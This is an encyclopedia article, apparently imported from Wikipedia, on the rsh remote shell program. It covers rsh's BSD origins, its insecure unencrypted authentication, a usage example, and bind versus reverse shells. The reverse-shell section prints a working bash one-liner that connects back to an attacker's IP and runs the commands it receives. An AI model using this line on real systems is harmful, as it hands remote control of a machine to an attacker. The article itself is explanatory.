Remote Shell
Command-line program
title: "Remote Shell" type: doc version: 1 created: 2026-02-28 author: "Wikipedia contributors" status: active scope: public tags: ["internet-protocols", "os/2-commands", "unix-network-related-software"] description: "Command-line program" topic_path: "technology/networking" source: "https://en.wikipedia.org/wiki/Remote_Shell" license: "CC BY-SA 4.0" wikipedia_page_id: 0 wikipedia_revision_id: 0
::summary Command-line program ::
::data[format=table title="Infobox software"]
| Field | Value |
|---|---|
| name | remote shell (rsh) |
| released | |
| programming language | C |
| operating system | Cross-platform |
| :: |
| name = remote shell (rsh) | logo = | screenshot = | screenshot size = | caption = | developer = | released = | latest release version = | latest release date = | repo = | programming language = C | operating system = Cross-platform | genre = | license = | website =
The remote shell (rsh) is a command-line computer program that can execute shell commands as another user, and on another computer across a computer network.
The remote system to which rsh connects runs the rsh daemon (rshd). The daemon typically uses the well-known Transmission Control Protocol (TCP) port number 514.
History
Main article: Berkeley r-commands
Rsh originated as part of the BSD Unix operating system, along with rcp, as part of the rlogin package on 4.2BSD in 1983. rsh has since been ported to other operating systems.
The rsh command has the same name as another common UNIX utility, the restricted shell, which first appeared in PWB/UNIX; in System V Release 4, the restricted shell is often located at /usr/bin/rsh.
As other Berkeley r-commands which involve user authentication, the rsh protocol is not secure for network use, because it sends unencrypted information over the network, among other reasons. Some implementations also authenticate by sending unencrypted passwords over the network. rsh has largely been replaced with the secure shell (ssh) program, even on local networks.
Example
As an example of rsh use, the following executes the command mkdir testdir as user remoteuser on the computer host.example.com running a UNIX-like system:
::code[lang=console] $ rsh -l remoteuser host.example.com "mkdir testdir" ::
After the command has finished rsh terminates. If no command is specified then rsh will log in on the remote system using rlogin. The network location of the remote computer is looked up using the Domain Name System.
Bind shell and reverse shell
A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed). In the first case remote shell will be called bind shell, in the second case - reverse shell.
Reverse shell can be used when the device on which the command is to be executed is not directly accessible - for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside. Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called "reverse shell attack"). The following code demonstrates a reverse shell attack:
::code[lang=console] $ exec 5<>/dev/tcp/<attacker_IP>/80;cat <&5 | while read line; do $line 2>&5 >&5; done
It opens a TCP socket to attacker IP at port 80 as a [[file descriptor]]. It then repeatedly read lines from the socket and run the line, piping both [[Standard streams|stdout and stderr]] back to the socket. In other words, it gives the attacker a remote shell on the machine. ::
References
- rsh - remote shell - rsh man page.
References
- "SSH, the Secure Shell: The Definitive Guide". www.researchgate.net.
- (28 November 2022). "Secure Shell Protocol – Everything you need to know". dev.to.
- "Secure Shell (SSH)". www.techtarget.com.
- (14 December 2021). "Difference Between Bind Shell and Reverse Shell". www.geeksforgeeks.org.
- "What is a Reverse Shell?".
::callout[type=info title="Wikipedia Source"] This article was imported from Wikipedia and is available under the Creative Commons Attribution-ShareAlike 4.0 License. Content has been adapted to SurfDoc format. Original contributors can be found on the article history page. ::